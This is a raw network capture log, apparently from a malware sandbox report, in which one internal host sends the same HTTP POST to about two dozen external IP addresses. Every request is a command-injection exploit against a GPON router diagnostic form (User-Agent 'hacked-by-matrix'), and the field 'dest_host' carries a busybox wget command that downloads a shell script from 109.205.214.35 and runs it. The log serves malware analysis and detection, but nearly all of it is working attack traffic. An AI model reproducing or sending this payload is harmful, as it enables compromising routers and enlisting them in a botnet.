Mar 21, 2024 05:26:28.263851881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.23	34876	178.104.249.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263853073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.23	41562	79.249.185.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263883114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.23	58888	5.242.60.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263904095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.23	56002	37.174.52.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263936996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.23	60526	118.99.104.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263976097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.23	56310	2.171.218.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.263986111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.23	43208	118.182.203.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264008045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.23	56392	210.48.25.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264058113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1045	192.168.2.23	59490	212.182.12.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264089108 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1046	192.168.2.23	33104	109.138.171.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264137030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1047	192.168.2.23	37234	118.132.1.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264157057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1048	192.168.2.23	35396	118.235.143.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264178991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1049	192.168.2.23	33082	42.225.17.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264178991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1050	192.168.2.23	33400	118.174.237.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264228106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1051	192.168.2.23	54044	178.30.149.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264240980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1052	192.168.2.23	57464	2.253.23.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264269114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1053	192.168.2.23	33570	109.4.166.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264277935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.23	52582	212.104.189.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264434099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.23	33906	94.206.0.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264447927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.23	48512	94.108.150.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264463902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.23	45874	5.166.190.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264466047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.23	33464	118.164.124.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264522076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.23	52768	178.59.101.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:28.264528990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.23	55462	79.134.99.186	443

Timestamp	Bytes transferred	Direction	Data
